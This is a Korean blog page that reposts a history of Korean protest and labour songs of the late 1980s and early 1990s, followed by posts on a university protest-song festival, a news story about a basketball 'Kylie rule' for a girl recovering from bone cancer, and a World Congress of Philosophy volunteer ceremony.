이 시기 불렸던 노래는 주로  행진곡으로서  <임을 위한 행진곡>, <늙은 군인의 노래>, <노동해방가>, <광주 출정가>, <진군가>, <동지>등이었다.
그 외에 대중가요들이  재해석되어 불리기도 하고, 개사곡이  만들어져 노래의 공백을 조금이나마 메우고자 하기도  했다. <노란 샤스의 사나이>,  <막장을 간다>, (<전선을 간다>개사곡) 등 반면, 투쟁기였으므로, <사노라면>,  <불나비>와  같은 일상적 분위기의 노래는 상대적으로 잘 불려지지 않았다.

(4)<파업가>와 <노동조합가>, 노동가요의 시작

1) 88년 가을 김호철<파업가>, <노동조합가>의 발표 전국적인 빠른 확산과 호응으로  88년 말, 89년 초부터는 새로운 노동가요의 시대가 열렸다. <동지여  내가 있다>(마산),  <딸들아 일어나라>, <단결투쟁가>,  <진짜 노동자  2>, <해방역에 닿을  때까지>, <노조 연대가>, <총파업가>(이상  김호철) 등의 노래가 이  시기에 발표되어 입에서 입으로 옮겨지면서 아주 빠른 속도로 전국에 퍼져 나갔다.

2) 행진곡 주도
왜 이 시기의 노래는 행진곡 뿐일까? 노동가요가 경직 되었기 때문일까?그 이유는 민주노조가 없었던  당시의 상태에서 노동조건개선투쟁, 임금인상투쟁, 민주노조설립투쟁 등의 투쟁이 막바로  벌어졌기  때문에, 민중가요를 부를 수 있는 공간이란 이러한 투쟁공간 밖에 없었고, 따라서  주로 행진곡이 이 시기 노동가요의 주를 이룬  것이라 볼 수 있다.  당시에도 <단순조립공>, <짤린 손가락>, <공장엔>, <공장가는 길>(이상  김호철), <나의  이야기>, <친구야>,                                                                   김호철

<서울에서 살꺼야>  (이상 안혜경) 등, 꽤 여러 편의 일상가요가 만들어졌음에도 불구하고  잘 퍼져 나가지 못하고 사장  되었던 점을 상기해 본다면 이해가 갈 것이다. 하지만, 이  시기에는 일상가요들도 이미 80년대  중반의 노동자 소재의 작품들이 가지고  있던 연민주의적 시각을 잘 극복하고 있다.

3) '혜성같이 나타난 김호철'의 존재가 말해주는 몇가지 사실그 사실 중의 첫번째는 우선  새로운  노동가요의 생산에 이전까지의 노래운동집단들이 완전히 무력했다는 사실이다. 그래서, 87년의  노동가요 부재의 공백이 빨리 메워지지 않았고, 이러한 상황은 '김호철'이라는  개인을  부각 시키게 되었다. (마산 등에서 몇 편의 작품이 만들어지기는 하였으나, 급증하는 수요를 다 채울 수는 없었고, 상대적으로  그 공백을 메운 김호철의  존재는 노동가요를 대표하는 것으로 부각 되었다)또 한가지 사실은  지식인인 김호철이 당시 노동자 대중에게  호응을 받는 노동가요를 성공적으로 만들어  낼 수 있었던 것은 그의 경험이 바탕이 되었다는 사실이다. 즉,  경험을 통해 노동자의  체험, 인식, 정서, 인식태도, 예술적 관행  등을 익힐 수 있었던 것이다.
그리고, 이러한 새로운 노동가요의  본격적인  성립의 바탕 위에서 89년 하반기에 들어서서, 서울의 노동자노래단,  삶의노래 예울림, 안양의 새힘, 마산의 소리새벽 등 노동자 대상의 활동(창작, 공연과 노래교육)을 전담하는 노동가요 전문패가 만들어지게 되었다.

(5)89년 하반기 부터 90년까지의 변화

1) 일상가요와 기타 서정가요의 시작
89년 하반기를 지나  90년에  들어서면서, 물론 행진곡의 주도가  계속 되긴 하였지만, 광범위한 민주노조의 설립으로 민중가요를 부를 수 있는 일상공간이 창출되었고, 일상가요와  기타 서정가요라는 새로운  종류의 노래가 노동가요에도 필요하게 되었다. 이로  인하여 행진곡 주도의 노동가요에서도 일상가요와 기타 서정가요가 만들어지고 불리기 시작했다.

2) 일상가요
<포장마차>, <사랑과  행복>, <진짜노동자  3>, <참사랑>,  <부모님께>(이상 김호철), <내가  왕이다>, <서울에서  평양까지>(이상 윤민석),  <달동네의 부푼 꿈>, <거꾸로  돌아가는 세상>(이상 이건), <내사랑  민주노조>, <우리들의 세상>(이상 조민하)등이 이시기에 창작되어 불리워진 일상가요들인데,  이러한 노래들은 <사노라면>,  <불나비>의 뒤를  이으면서, 노동자의  일상체험과 정서를  담고 있으며, 일상적 낙관성과  역동성을 획득하고 있다. 이러한 일상적 낙관성과 역동성은 투쟁적 낙관성, 역동성과 상호 전환하고 변증법적으로 상생하는 관계를 가지고 있어다.
이 시기의 일상가요들은 여태까지는  민중가요에서  잘 쓰지 않았던, 뽕짝과 스탠다드,  속화된 포크의 영향을 받은 통속적  대중가요의 어법을 사용하면서 마치, 여태까지 포크, 군가, 가곡, 느린 단조 스탠다드,  찬송가 등을 민중가요의 음악적 자산으로 사용했던 것과 마찬가지로 이를 민중가요 안으로 끌어 들였다.
이 시기 일상가요가 이러한 새로운  음악적 경향을 가지게 된 것은 노동자 대중의 노래문화적 관행 때문이었다.

3) 서정가요
이 시기의 서정가요로는 <끝내  살리라>, <열사의 그 뜻대로>, <꽃다지>, <골리앗의 그림자>(이상 김호철) 등이  있는데, 주로 단조 스탠다드를 받아들인 단조 서정가요의 전통을  따르고 있긴 하지만, 이전의  민중가요에 비해 훨씬 통속적 가요의 냄새를 풍기는 작품이 많다는 것이 특징이다.

4) 행진곡(투쟁가)의 다양화 - 전술적 투쟁가의 등장<전노협  진군가>, <구속동지구출가>,  <무노동  무임금을  자본가에게>(이상 김호철), <연대투쟁가>(윤민석) 등, 그 시기의 전술적  투쟁과제를 담은 노래가 출현한 것도 이 시기 노동
가요의 특징이라 할 수 있다.

91년부터의 변화와 새로운 모색

1) 91년 상반기의 당혹감

91년 상반기부터 이전과 같은  엄청난  호응을 동반한 인기곡이 사라지고, 행진곡의 퇴조, 특히 전술적  행진곡의 퇴조가 뚜렷해졌으며, 일상가요도 별로 재미가 없어지는 당혹스런 현상이 벌어졌는데,  이는 아마도 대중운동의 정체  내지는 침체가 뚜렷해지면서,  투쟁이 제대로 이루어지지 않으면서(공권력 투입, 대량 구속, 자본 철수, 공장  이전, 생산감축과  감원 등  노동운동탄압으로 노조가 현저하게  약화되는 상황이었다), '단결', '투쟁', '총파업' 등의 주장을 담은 선 굵은 투쟁가는 호소력을 가질 수 없었고, 또한 가볍고 즐거운 낙관적  일상가요를 부르기에는 상황이 너무 어려웠기 때문이 아닐까 한다.
그런 중에도 많이  불려진 노래를 굳이 꼽는다면,  <철의 노동자>(안치환 작사.작곡), 그리고 이전의 작품중에서는 <단결투쟁가>와 <진짜노동자  2>등을 들 수 있겠는데, 이들  노래의 공통점으로서, 투쟁의 주장보다는  세곡 모두 '멋있는 노동자'의 모습이 부각되고 있다는 점이 특이할 만하다.

2) 91년 하반기부터의 의도적 생산

이러한 91년 상반기의  당혹감이 주는 교훈에 입각하여,  91년 하반기부터 노동가요의 창작자들은 노래의  내용과  정서를 의도적으로  만들어 생산하게  되는데, 주로 슬픔과 절망에 대한  위로, 자신의 노동자로서의 삶, 지나간 2,3년 동안 투쟁을 반추하면서 성숙하게  어려운 시기를 버텨가는 의지적인 노동자의 모습을 부각 시키는 노래를  만들게 되었다. 그런 노래들로는 <희망의 노래>(김호철 작사.작곡), <누가 나에게  이 길을 가라하지 않았네>(조호상 시, 김성민 작곡) <다시한번 투사가 되어>(조민하 작사.작곡), <사람이 태어나>(유인혁 작사. 작곡)등을 대표적으로 꼽을 수 있다.
또한 노래패 꽃다지의 단결투쟁가 대편성(신양묘 편곡, 92년)과 같이 이전의 투쟁가를 2,3년간의 투쟁을 담은 느낌으로 편곡하는 시도도 있었으며, 그 이후 자신을 되돌아보는 작품들이 일반적으로 큰 호응을 얻었다. 이런 노래들은 이전의 노래들보다 더욱 개인의 느낌이 강해지고, 개인의 내면으로 깊숙히 들어왔으며,더 섬세해진  감정을 표현하고 있다. <민들레처럼>,  <동지들 앞에 나의 삶은>, <전화카드 한 장>(이상 조민하),  <편지 3>,(윤민석 작사, 김신애 작곡), <내일엔 내일의 태양이>(유인혁) 등이 그 대표적인 노래들이다.


민중가요의 성립과 전개과정 (5)

   - 80년대말 90년대 초 대학과 대중문화공간 속의 민중가요


  (1) 대중문화공간

   ① 노래를 찾는 사람들

  84년 노래모임 새벽에 의해  민중가요의 첫번째 음반 '노래를 찾는 사람들'이 대중문화공간의 미조직 대중들에게  발표되었다. 허나, 처음에는 노래팀으로서 '노래를 찾는  사람들'이라는 모임이 생기거나 대중문화공간에서 장기적인 활동을 계획한 것이 아니라, 일과성의 음반취입이었을 뿐이었다. 이때는 민중가요  중 심의를 통과하면서 음반을  내는 것이 중요했고, 그 레퍼터리는 <그루터기>,<바람 씽씽>,<내 눈길 닿는 곳 어디나> 등 주로 70년대 서울대 메아리의 창작곡이  중심이 되었다.이 음반은 우연히 제작된 것이었으나, 민중가요 음반으로는 최초의 합법 음반이라는 의의를 가지고 있었다.
   그러다가 87년 10월 첫 공연을 치루면서 노래팀 '노래를 찾는 사람들'이 만들어지기 시작했다. 87년 6월을 겪으면서 합법적인 공개공연이 가능하리라는 판단을 하고, 새벽을  중심으로 한 노래운동권의 선배급들이 모여 대중문화공간에서의 합법적인 활동을 전담하는  팀을 만들기로 결정하고, 새벽에서 의도적으로 '노래를 찾는  사람들'이라는 팀을 만들어 분리시켰다. 따라서 노찾사라는 팀은 자신들  스스로가 결성한 팀이 아니라 민중가요의 대중문화공간으로 진출을 위해 조직적으로 결성된 팀이라 할 수 있다.

▲ 1991년 노찾사3집 앨범 당시의 멤버들


  새벽으로부터 분리되어 결성된  노찾사는 민중가요 중 대중문화공간으로 확산이 가능한  작품을 선별하여 다시  편곡,연주했다. 그들의 레퍼터리는 <솔아 푸르른  솔아>,<광야에서>,<잠들지 않는 남도>,<그날이  오면> 같은 당시 새벽의 창작곡이면서 대학가의 인기곡들과 예전에 발표되었으나 당시 민중가요의 중요한  작품경향에서는 조금 벗어나있어  널리 알려지지 않았던, 그러나 공연용으로서는 좋은노래들이었던 메아리, 한소리 등의 창작곡  <오월의 노래>,<부서지지  않으리>,<맹인부부가수>  등과 새벽의  <사계>,<귀례 이야기>,<대결>,<이 산하에>,<마른잎 다시  살아나> 등 기존 발표곡과 <저  평등의 땅에>,<뒤돌아보아도> 등의 신곡,  그리고 그외 <녹두꽃>,<진달래>,<작업장>,<오월 이야기>,<제발 제발>  등이 있다. 이들 노래는 노찾사로 인해 인기를 모으면서 민중가요의 풍부한 모습을 만들어냈다.
   이 연장선상에서 <지리산> 같은 새로운 인기곡을 만들어내기도 했다. 노찾사는 1년여 이상의  공연이 성공을 했고, 89년  2집 음반이 50만장 이상 판매되고 대중가요 인기챠트에도 7위권 안에 들었다.
   이렇듯 노찾사는 그 생성과정이나 활동과정을 볼 때, 민중가요의 성과를 대중문화공간에 발표하여 공식화시키고,  미조직 중간계급에까지 민중가요의 영향력을 확대하는 것을 주요한 임무로 한다고 볼 수 있다.

  초기의 노찾사에게는 10년의 민중가요가 쌓아온 성과, 거기 담겨있는 대학생, 노동자 등의 조직대중의 진보성, 그들의 인식과 정서, 질감 등을 대중문화의공간에서 미조직 중간계급  대중들이 소화할 수 있도록만들어내면서도 또한 노찾사 자신이 그  진보성과 인식, 정서, 질감 등을 따라잡는
것이 중요한 과제로 부과되어 있었다.

  이러한 작업이 대체로 성공적이거나  이에 미치지 못할 때에는 소시민적이라는 비판을 받았고 특성, 기교주의, 감성주의, 정태적이고 나른하며 소극적인 분위기 등이 드러나기도 했다.
   90년대 들어서면서 노찾사는  이러한 감상주의적이면서 나른한 분위기를 극복하고 당당해지긴 하였으나 이전과는  다르게 노찾사 자신이 창작한 신곡 중심(<그리운 이름>,<사랑노래>,<영원한  노동자> 등)으로 공연이 운영되어, 민중가요 일반, 특히 80년대 후반 당시의 민중가요를 정리하여 보급하는 역할, 민중가요 전체의  대중문화의 창구로서의 역할로부터 멀어지게 되면서 공연의 질감이 숭고미 중심으로 재편되는 경향을 보이기도 했다.

   ② 노래마을

   노래마을은 대중가요 작곡가 출신인 백창우를 중심으로 한 모임이다. 84년 '노래마을 사람들'이라는 음반을  낸 후, 성남을 중심으로 소규모의 활동을 하다가, 노찾사의 대중적  성공에 힘입어 90년 이후 대중문화 공간에서 활동을 벌이고 있다.
   노래마을은 백창우의  창작곡과 노찾사에서 소홀히  했던 어린이들의 노래, 80년대말 민중가요의 인기곡 등(<우리의 노래가 이 그늘진 땅에 한 줌 햇볕이 될 수 있다면>,<아기  염소>,<백두산>,<지금은 우리가 만나서> 등)을 레퍼터리로 삼으면서 서서히 자리를 잡아가기 시작했다. 이들은 작품의 응축성과 긴장도가 떨어지는 경우가  있긴 하지만, 3화음의 안정감과 깨끗한 아름다움이  나름의 호소력과 대중성을 가지고  있으며, 소수 정예식의 운영방식이 성과를 보이고 있다.

   ③ 개인 가수들

   노찾사의 성공으로 진보적인 대중가요 가수들이 노찾사가 확보해놓은 공간 주변에 포진하게 되면서, 대중가요권에 진보진영이 나름의 영역을 확보하게 되었다. 즉 이전까지는 좀  특이한 가수로만 알려졌던 신형원, 그 작곡자인 한돌, 서유석, 김광석 등이 진보적인 가수로서 색깔을 가지게 되었
고 [겨레의 노래] 같은 행사도 가능하게 되었다.
   또 노래운동권  출신의 개인가수로의 진출이  이루어졌다. 안치환, 정세현, 권진원 등이 그  대표적인 경우이다. 이들은 자연히 노래운동권으로부터 대중가요권  사이의 스펙트럼 위에 놓여있게  되는데, 아직 노래운동권 출신자들은 대중문화권에서 제 자리를 못 찾은 듯 하다.
   또한 인기가수급 대중가요 가수로부터 완전히 음악운동의 중심지로 이동한 정태춘이 있다. 이는 매우 특이한 경우로 한 예술인이(또는 한 작품이) 대중과의 적극적인 접촉을 통해  얼마나 급격하게 자기극복을 하며 예술적 경향을 변화시킬 수 있는가를  보여주는 경우이다(정태춘은 89년 가을 <누
렁 송아지>의 전국순회공연을 계기로  변화를 하게 되었다고 볼 수 있다). 정태춘은 자신의 작품세계의 특성을 살리면서 민중가요의 자산을 풍부하게 하였다. 대표적인 노래들로는  <아,대한민국>,<배반의 병아리>,<우리들 세상>,<일어나라 열사여> 등이 있다.

  (2) 노래모임 새벽의 변화

   87년까지 <이  산하에>,<그날이 오면>,<벗이여  해방이 온다>,<만주출정가>,<솔아 푸르른 솔아> 등의 창작과 비해법 테이프 제작으로 민중가요 흐름에 발맞춰오고,  다른 한편으로는 <일꾼의  합창>,<내일의 노래> 등으로 노동자 대중으로의 대중화를 위해  노력하고 있던 노래모임 새벽의 흐름이 88년에 들어서면서  급격하게 변화하게 된다.  <너를 위하여>,<선언 1,2>,<오월의  노래 3>,<노동자의  노래>,<불꽃이  되어>(이상 88년),<철의  기지>(89년),<바리케이트를 치며>(90년) 등의  노래를 보면 유럽 고급음악적 분위기, 유럽 혁명가의 질감이 본격적으로 도입된 느낌이며, 가사 역시 김정환의 모더니스틱한 분위기를 드러내고 있다.
 

 이들 노래들은 군가풍 행진곡, 단조 스탠다드, 포크 등을 중심으로 하고 있던 민중가요의 전통에 비추어  볼 때 상당히 이질적인 것이었다. 따라서 이들 노래들은 민중가요의 폭을 넓힌다는 의의는 가지고 있으되, 현실적인 노동자 대중, 학생대중이 향유할 수 있는 민중가요가 되지는 못했다. 그것
은 단지 따라부르기 어렵기 때문이라는 이유에서만이 아니며, 작품 안에서 현실의 투쟁하는 노동자  대중의 인식과 정서, 질감이  획득되지 않고, 먼 나라 노동자의 느낌, 관념 속에서  만들어진 노동자의 느낌, 먼 미래의 낙관적 지향 만이 두드러지기 때문이었다.
   따라서 새벽은 유일한 노래운동집단으로서  당연히 맡아야 할 87년 이후 노동가요의 창작, 보급을  하지 못했고, 그 결과  김호철의 노래가 나오는 88년 말까지 노동가요는 수요-공급의 지독한 불균형을 겪으면서 거의 완전한 공백으로 있어야 했고, 그후 90년경 까지 김호철 한 사람에게만 노동가요의 창작을 맡겨야 하는 현상을 만들어냈다.
   90년 들어서면서 노동가요의 경향이  완전히 정착하고, 자신들의 창작곡이 대중적이지 못하다는 판단을 하면서 기존 노동가요의 경향을 대폭 받아들인 <해방을 향한 진군>,<다시  또 다시> 등을 창작하며 방향전환의 조짐이 보였으나, 곧 <바리케이트를  치며>,<노동자 전진이다> 등 더더욱 독일적이고 러시아적인 작품들로 회귀하는 경향을 보이고 있다.

  (3) 고급 음악인들의 변화와 조직화

   노래운동과 진보적 고급음악인들이 만나기 시작한 것은 노래운동이 처음 시작된 80년대 중반부터였다. 대표적인  사람들로는 서울대 작곡과의 이건용, 이강숙 교수였는데, 이들은 기존 음악계에 대한 비판의식을 갖추고 있고, 또 그러한 문제들이 일종의 사회적 산물임을 인정하는 작곡가, 평론가
들이었다.
   한편 전통 음악인들의 독자적 조직화는 다른 부분에 비해 상대적으로 늦은 편이었다. '해오름','다스름' 등이 결성되어 기성국악계(역시 고급음악계)를 겨냥한 활동이 이제 막 시작된 셈이다. 그러나, 일반 대중을 대상으로 국악적 감수성의 근저를  넓히며 국악의 진보적 현대화에 기여한, 이전
의 민요연구회나 풍물운동의 성과를  지나치게 폄하하는 경향이 있는 것이 조금 우려스럽기도 하다.

   (4) 지방의 노래운동과 그 성과

   87년 이후, 서울 이외의  지역에서도 노래운동 집단이 생겨나 그 지역의 특성에 맞는 활동을 하지만,  일반적으로 서울에 비해서는 양적 역량이 떨어지고, 또 지역 간 편차도 많은 실정이다. 마산 소리새벽, 안양 새힘, 부산 노래야 나오너라, 희망새, 인천  노래선언 등은 대개 노동자 대중을 대
상으로 활동하고 있으며, 창작곡으로는  소리새벽 김봉철의 <들어나 봤나> 새힘 이건의 <달동네 부푼 꿈>, 희망새 김민하의 <아침은 빛나라> 등이 많이 알려져 있다.
   특히 광주  노래패 '친구', '우리소리 연구회'의  성과는 상당히 독특한데, 서울에서는 찾기 힘든 민요의 적극적 계승이 이루어지고 있으며, 대중적으로도 호응을 얻고 있다.

  (5) 대학의 민중가요

 전반적으로 86년,  87년의 덜 긴장되고 편안한  노래의 흐름이 연장되고 있다. <마른잎 다시 살아나>,<잠들지  않는 남도> 등 노래모임 새벽, 안치환의 노래가 인기를 모았으며, 노찾사의 활동을 계기로 대중화되는 경향을 보이다가, 89년 경부터는 노동가요가 대학가로 역류하는 현상이 벌어져서, 주요 노동가요가 대학 민중가요의 최고의 유행곡이 되기도 했다.
   그와 함께 대학가 인기 창작자로서 윤민석과 박종화가 떠오르는데, 윤민석은 팝발라드 세대의 화려한 선율과 안정된 화성, 격정적이면서도 80년대 초중반과 같은 음울함이  느껴지지 않는 <반미출정가 1>,<어머니>,<전대협 진군가>,<결전가>,<백두산>,<애국의 길>,<전사의 맹세  1,2> 등의 많은 노래를 지었고, 박종화는 가사에서 풍기는 솔직하고 질박한 열정, 열정적 학생운동의 분위기가 주는 감동으로 큰 호소력을 발휘하는 <지리산 2>,<바쳐야 한다>,<파랑새>,<투쟁의 한길로> 등을 지었다.

윤민석

 출처 : http://plsong.com/  


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요즘 충북대학교 인문대학에서는 민중가요제라는 것을 해마다 신입생들에게 축제처럼 시키고 있다. 그것은 이미 전통화되어 당연한 듯이 되어오고 있다. 물론 본인은 민중가요제라는 것이 시대에 뒤쳐진 산물이라고 생각하지는 않는다. 선후배간에 우애를 돈독이 할 수 있고, 신입생은 동기들끼리 모여서 무언가 하나의 완성된 작품을 만들어냄으로써 서로간의 신의를 다지고, 선배들은 자신들이 해왔던 것을 후배들에게 가르쳐 줌으로써 선배라는 이름에 어울리게 되고, 또한 윗대의 전통을 이어가는 한사람이 됨으로 같은 과내에서의 동질감을 느낄 수 있다고 생각한다.

작년에 나는 학생회를 하면서 인문대 학생회장들과 신입생 한마음 축제라는 이름으로 바꾸어 이 행사를 진행했다. 민중가요제라는 이름은 충북대 내에서 인문대는 운동권이라는 인식을 주고, 민중가요제라는 이름하에 하는 우리들이 얼마나 그 의미에 대해서 알고서 하는 지 의문스러워서 바꾸게 된 것이다. 그러면서 좀더 대중적으로 바꾸어지길 원했다. 형식이나 내용 같은 것은 중요치 않다고 생각했다. 지금에와서 민중가요라는 것의 의미를 제대로 알지 못하는 우리가 그 형식과 내용을 가지고 얼마나 이름에 어울리는 결과를 만들어 낼 수 있을까라는 생각이 들었다. 지금의 민중가요제, 작년에 신입생 한마음 축제는 선후배간의 간격을 쉽게 줄여버리고, 같이 어울리며 땀 흘려가면서 만들어가는 하나의 소중한 추억인 것이다.

올해에 다시 민중가요제라는 이름으로 바뀌었다. 이름이 무엇이 중요하겠는가. 그저 어울려서 놀고, 같이 즐기면 그 뿐이다. 하지만 요즘 아이들은 모른다. 왜 수많은 대중가요가 판치는 판국에서 전통이랍시고, 민중가요라는 것을 부르고 있는지를... 지금 민중가요를 가르치는 현재의 우리들도 잘 모른다. 민중가요라는 것이 무엇인지를....

그저 위에서부터 그렇게 해왔으니깐 당연히 우리도 하고 있다는 식의 행동은 어른이 된 대학생들이 할 짓이 못된다고 생각한다. 어떤 행위이든지 원인이 있고, 결과가 있는 것이다. 우리가 하는 축제의 이름이 왜 지어졌고, 어떻게 흘러들어 왔으며, 지금 우리가 하는 목적이 무엇인지는 알아야된다고 생각한다.

그냥 이름 좋게, 그저 전통이랍시고, 아무런 의미없이 맹목적으로 받아들이는 허울뿐인 사람이 되지 않기를 바란다. 이 글을 읽고 조금이라도 이해를 하기를 바란다.

:

카일리룰

사용안함/短想 2008. 3. 2. 00:26
  • 달릴 수 없는 소녀 위해 농구 규칙을 바꾸다
  • 미국을 감동시킨 '카일리 룰'
    사우스 다코타주 디 스멧市 골육종 앓는 11살 소녀
    카일리 동료가 파울당했을때 자유투 전담 슈터로 뛰게
    주대항 대회서도 이 규칙 적용
  • 김동석 기자 ds-kim@chosun.com
  • 입력시간 : 2008.02.28 23:43
    • 올해 11세인 소녀 카일리 패스티언(Cylie Pastian)의 농구 기록에는 가로채기 어시스트 리바운드 블록슛이 모두 '0'으로 표시돼 있다. 올해 초등학교 5학년인 이 미국 소녀는 다른 선수들처럼 코트에서 뛰어다니지 않는다. 벤치에 앉아 다른 아이들을 응원하고 경기 기록을 적는 것이 주 임무다.

      그러나 이 아이가 경기 기록지를 내려놓고 코트에 나가서 자유투 라인에 설 때가 있다. 그러면 관중은 홈팀과 원정팀을 불문하고 일제히 열광적인 찬사와 응원을 보낸다. 소녀는 환호 속에 유유히 자유투를 던지곤 다시 벤치로 돌아가 기록원의 임무를 시작한다. 묘한 것은 소녀의 자유투가 실패해도 아무도 리바운드를 시도하지 않는다는 점이다. 자유투가 성공하건 실패하건 공격권은 상대팀에 넘어간다.

      미국 사우스 다코타주의 작은 도시 디 스멧(De Smet)에 가면 이런 이상한 규정의 농구경기를 볼 수 있다. 그들은 왜 이렇게 하고 있을까?

      카일리의 오른쪽 다리뼈에서 악성종양 골육종이 발견된 것은 2년 전이었다. 카일리는 대퇴골 일부를 들어내고 티타늄 철판을 박아 넣는 대수술을 했다. 의사들은 "수술 부위가 약하기 때문에 신체 접촉을 해서는 안 된다"고 했다.
    • ▲ 지난달 대회에서 자유투 라인에 서서 림을 겨냥하는 카일리. 불독스 팀은 육체적 접촉이 제한된 카일리가 자유투 전담 선수로 게임에 참여할 수 있도록‘카일리 규칙’을 만들었다./Argus Leader 제공(美사우스 다코타주 수 폴스 지역언론)
    • 농구를 좋아했던 소녀는 휠체어를 타고 친구들이 뛰는 훈련장으로 구경 나왔다. 수술에서 회복한 카일리는 휠체어를 벗어나 걸을 수도 있게 됐다. 오랫동안 병상과 휠체어에 의지했던 카일리는 친구들과 함께 코트에서 뛰고 싶었고 공을 던지고 싶었다. 그러나 그럴 수 없는 처지였다. 농구처럼 몸이 부딪치는 경기는 너무 위험했다.

      이때 카일리가 다니는 디 스멧 학교 불독스 농구팀의 한 사람이 묘안을 냈다.

      "카일리에게 자유투만 맡기면 어떨까?" 신체접촉 없이 농구에 참여시키려는 아이디어였다. 불독스 농구팀의 친구들은 일제히 "좋은 생각"이라고 환영했다.

      감동적인 '카일리 룰(rule·규칙)'은 이렇게 탄생했다. 자유투는 파울을 당한 선수가 던지는 것이 농구의 기본 규칙(국제농구연맹 농구규칙 7장43조). 그러나 카일리 룰에 따르면 '골육종에서 회복 중인 선수'는 파울당한 선수를 대신해서 자유투를 던질 수 있다. 카일리는 자기의 이름을 딴 '카일리 룰'에 따라 동료가 파울을 당하면 코트로 나와서 자유투를 던지고 다시 자리로 돌아간다. 카일리 룰은 지난달 말 사우스 다코타주의 수 폴스(Sioux Falls)시에서 5개주 98개팀이 참가한 가운데 열린 주 대항 농구대회에서도 채택됐다. 카일리의 불독스와 상대한 어느 팀도 지금까지 이에 이의를 제기하지 않았다고 한다.

      처음 카일리는 자유투를 맡으라는 제안을 거절했다. 자기 탓에 팀이 질 수도 있다는 두려움 때문이었다. 그러나 또래 친구들의 성원 속에 '자유투 전담 슈터'의 자리를 맡았고 지금까지 '자유투 8개 연속 성공'의 개인 기록도 세웠다.

      카일리 룰을 통해 사람들은 아마추어 스포츠의 본질을 재발견했다. 카일리의 친구들은 "카일리 규칙은 우리를 한 가족으로 만들었다. 우리는 진짜 자매가 된 것 같다"고 했고 카일리의 어머니도 "상대팀 관중이 카일리에게 갈채를 보낼 때 가슴 속에서 뜨거운 것이 올라왔다"고 했다. 스포츠에는 승리와 명예보다 더 값진 것도 있다. 상대에 대한 배려, 친절, 우정과 같은 단어들이다. 이런 단순한 사실을 다시 일깨워 준 카일리 규칙이었다.
  • :

    제 22차 세계철학대회 자원활동단 발대식에 참석하고서...

    사용안함/短想 2008. 3. 2. 00:03

    2. 12일 동생의 졸업식을 마치고나서 서울로 부리나케 달려갔다.

    고속도로를 타고 나름대로의 부푼 기대를 안고 4시까지 숭실대로 갔다. 세계철학대회 자원활동단 발대식에 참석하고 나서의 느낀점과 몇가지 알림 사항을 기록하겠다. 이 글을 보시는 많은 철학도 여러분에게도 도움이 되길 바라고 많은 관심을 가져주시길 바랍니다.

    1900년 프랑스 파리에서 첫 대회를 시작으로 2003년 터키이스탄불에서의 21차 대회까지의 5년마다 열리는 철학계 최대규모의 학술대회로 흔히 철학의 올리픽이라고 불리기까지 하는 제22차 세계철학대회(WCP)가 아시아 최초로 서울에서 열리게 된다. 전 세계 150여 개국 3,000여명의 철학자들이 모여 다양한 주제에 대한 철학적 성찰을 통해 오늘날 우리가 직면한 여러가지 문제들을 근본적으로 생각하고 그 생각들을 공유하는 자리이다.

    올해의 주제는 "오늘날의 철학을 다시 생각한다."이다. 아시아에서, 그것도 한국에서 처음 시행하게되는 이 대회를 주관하고 기획하게 되는 여러 교수님들의 얘기를 들었다. 아무래도 유럽 쪽에서 처음 시행된 행사라, 거의 모든 행사의 세미나라던가 세션이 유럽이나 영미철학 위주를 흘러갔던 것을 이번 행사에서는 동아시아 철학에 비중을 높이고 더 많고, 다양한 계층의 사람들이 참가할 수 있도록 계획하고 있다는 것을 알았다. 또한 철학을 공부하는 학생들의 많은 참여와 경험을 위해 학생들은 참여비를 대폭 할인하여 5만원이면 등록가능하다고 한다.

    7월 30일부터 8월 5일까지 7일간의 행사가 연속으로 진행되는 가운데, 그안에서 자원하여 행사에 봉사해줄 우리나라의 철학과 학생 및 인문사회분야 등 많은 학생들과 고등학생, 일반일에 이르기까지 200여명 정도의 학생들이 2월 12일 모여 발대식을 행사했다.

    충북대 학생으로 유일한 나는 홀로 가서 좀 많이 뻘쭘했다. 서울경기학생들이 대부분이었다. 자원할동단 임원들이 그동안 열심히 노력해서 준비해온 모습이 여력했다. 세미나도 준비하면서, 스스로 철학의 학문 폭을 넓히려는 좋은 모습들을 보이고 있다. 하지만 아쉬운 점이 있다. 이제부터 그것을 말하고자 한다.

    그것은 한가지이다. 그들은 이 큰 행사 하나로 모든 것이 변혁할 수 있다고 생각하고 있다. 물론 이것은 틀린 생각은 아니다. 자원활동단 분과 담당하시던 이화여대 이지애 교수님 역시 이번 세계철학대회를 통해서 그 동안의 철학에 대한 일반인들의 인식과 현실을 고쳐나갈 수 있다고들 크게 기대하고 있다. 물론 이것은 여기에 참여하는 우리들이 해야할 당연한 일이다.

    하지만 나는 조금 다르게 생각하고 싶다. 세계철학대회, 얼마나 많은 사람들이 이 큰행사가 그것도 우리나라에서, 또한 아시아에서 최초로 열리는 거대한 학술제.. 이 사실을 아는 사람이 얼마나 된다고 생각하는가. 내 주변만 하더라도 철학과 다니는 사람이 아니라면 100이면 100은 모른다는 것이 현 실정이다. 그렇다면 우리 철학도들이 앞장서서 알리면 되지 않느냐 하는 반론이 생길 것이다. 그것은 물론 당연한 일이다. 하지만 자원활동단 임원들이 두발로 힘들게 뛰어다닌 서울, 경기 지역을 제외하고는 이 학술대회에 대해서 아는 학생들이 거의 없다. 관심을 가지지 않고 무관심하게 있는 철학도들의 문제일 수도 있다. 하지만 내가 여기서 문제 삼고 있는 것은 근본적인 것이다. 크고 거대한 행사 하나로 철학에 대한 인식과 철학을 대하는 사회의 태도가 바뀐다고 생각하는, 기대하는 것이 문제가 있다는 것이다.

    오늘날 한국 사회에서 철학의 문제는 철학이 무엇인지를 제대로 모르는 사람이 천지이다. 철학과 다닌다고 하면 철학관 차릴 거냐고, 점이나 관상을 볼 줄 아냐고 얘기하는 사람들이 태반이다. 또한 철학을 공부하는 학생들도 그들에게 자신이 공부하는 철학에 대해 자신있게 무어라고 설명해주지 못하는 것도 문제이다. 이런 가장 근본적이고 고질적인 문제가 해결되지 않는다면, 이 나라 이 땅에서의 철학은 몇년이 가도 그 밥그릇을 제대로 찾아 먹을 수가 없는 것이다. 혁명이라는 것은 가장 작은 곳에서부터 근본 뿌리가 제대로 바뀌지 않으면 그 줄기로 뻗어나가는 수많은 문제들은 절대 고쳐질 수가 없는 것이다. 철학은 없어져야할 학문이 아니며, 불필요한 학문도 아니고, 남의 관상이나 점을 보고 미래를 예견하는 학문이 아니다. 그것이 왜 아닌지에 대해서 철학하는 자신이 먼저 알고 인식하고 남에게 자신의 입으로 전할 수 있어야 한다. 가장 먼저 이것이 해결되지 않는다면 한국 사회에서의 철학은 여전히 비웃음 받고, 괄시 받는 학문이 될 것이다.

